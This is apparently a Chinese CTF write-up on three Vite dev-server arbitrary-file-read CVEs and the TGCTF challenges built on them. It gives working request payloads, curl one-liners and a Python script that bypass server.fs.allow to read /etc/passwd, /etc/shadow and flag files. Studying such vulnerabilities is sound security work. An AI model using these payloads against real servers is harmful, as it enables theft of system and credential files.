Vite任意文件读取漏洞
三个洞,TGCTF出了三个题
CVE-2025-30208
Vite 开发服务器提供 @fs
机制,用于防止访问 Vite 允许列表之外的文件。然而,由于 URL 解析时的正则表达式处理不当,攻击者可以通过 ?raw??
或 ?import&raw??
等查询参数绕过访问限制,从而读取任意文件。
在 Vite 服务器的 URL 处理逻辑中,@fs
机制原本用于限制对非白名单目录的访问
1
2
3
4
5
|
server: {
fs: {
allow: [path.resolve(__dirname, 'src')]
}
}
|
Vite 在 URL 解析过程中会移除部分特殊字符,而未正确考虑查询参数的影响,导致攻击者可以构造类似如下的请求绕过安全检查
1
2
3
4
|
GET /etc/passwd?raw??
GET /etc/passwd?import&raw??
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?import&raw??
|
由于 Vite 解析 URL 时未正确处理这些参数,导致绕过 server.fs.allow
限制,并返回任意文件内容。
甚至有exp工具:GitHub - ThumpBo/CVE-2025-30208-EXP: CVE-2025-30208-EXP
[TGCTF]前端GAME
源码读到flag在flag在根目录下/tgflagggg中,直接上poc
1
2
|
/@fs/etc/passwd?import&raw??
/@fs/tgflagggg?import&raw??
|
CVE-2025-31486
分析见Vite开发服务器任意文件读取漏洞分析复现(CVE-2025-31125)-先知社区
这篇是低版本的poc
1
|
/@fs/etc/passwd?import&?inline=1.wasm?init
|
新版poc
1
2
3
|
/@fs/etc/passwd?import&?.svg?.wasm?init
/@fs/etc/shadow?.svg?.wasm?init //这里没有import是因为读取的文件没有后缀,isJSRequest为true
|
POC1
- 仅影响Vite 6.0及以上版本(即>=6.0.0的受影响版本);
- 仅当被读取的文件大小小于
build.assetsInlineLimit
配置值时(默认值为4KB)
1
|
/@fs/etc/passwd?.svg?.wasm?init
|
POC2
需要知道Vite所在的绝对路径
1
2
|
# 这里的/x/x/x/vite-project/是指Vite所在的绝对路径
/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw
|
[TGCTF]前端GAME Plus
1
2
|
/@fs/etc/passwd?.svg?.wasm?init
/@fs/tgflagggg?.svg?.wasm?init
|
CVE-2025-32395
这下必须知道vite的绝对路径了
先访问/@fs/tmp/
,界面会返回如下
1
2
3
4
5
6
|
403 Restricted
The request url "/tmp" is outside of Vite serving allow list.
- /root/pseudocat
Refer to docs https://vite.dev/config/server-options.html#server-fs-allow for configurations and more details.
|
这里的403页面会回显Vite的allow list,一般而言就是Vite所在的路径了
1
|
curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173
|
1
2
|
# 这里的/x/x/x/vite-project/是指Vite所在的绝对路径
/@fs/x/x/x/vite-project/#/../../../../../etc/passwd
|
直接在浏览器没办法用#符号,在bp里面就能用了
当然也可以使用Python,注意使用requests
没法复现。可以使用http.client
,它是Python标准库中提供的一个底层的HTTP客户端模块,直接与网络套接字交互来发送和接收HTTP请求和响应,能够实现类似curl --request-target
的功能。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
import http.client
# 替换为实际的 IP 地址
ip = 'xxx.xxx.xxx.xxx'
# 替换为实际的 PORT 端口
port = 5173
# 定义请求目标路径
request_target = '/@fs/root/pseudocat/#/../../../../../etc/passwd'
try:
# 创建 HTTP 连接
conn = http.client.HTTPConnection(ip, port)
# 发起 GET 请求
conn.request('GET', request_target)
# 获取响应
response = conn.getresponse()
# 读取响应内容
data = response.read().decode('utf-8')
# 打印响应状态码和内容
print(f"状态码: {response.status}")
print(data)
except http.client.HTTPException as http_err:
print(f"HTTP 异常: {http_err}")
except Exception as e:
print(f"发生其他错误: {e}")
finally:
# 关闭连接
if conn:
conn.close()
|
[TGCTF]前端GAME Ultra
/@fs/tmp
读到/app
用curl
1
|
curl --request-target /@fs/app/#/../../../../../etc/passwd http://127.0.0.1:53349
|
1
|
curl --request-target /@fs/app/#/../../../../../tgflagggg http://127.0.0.1:53349
|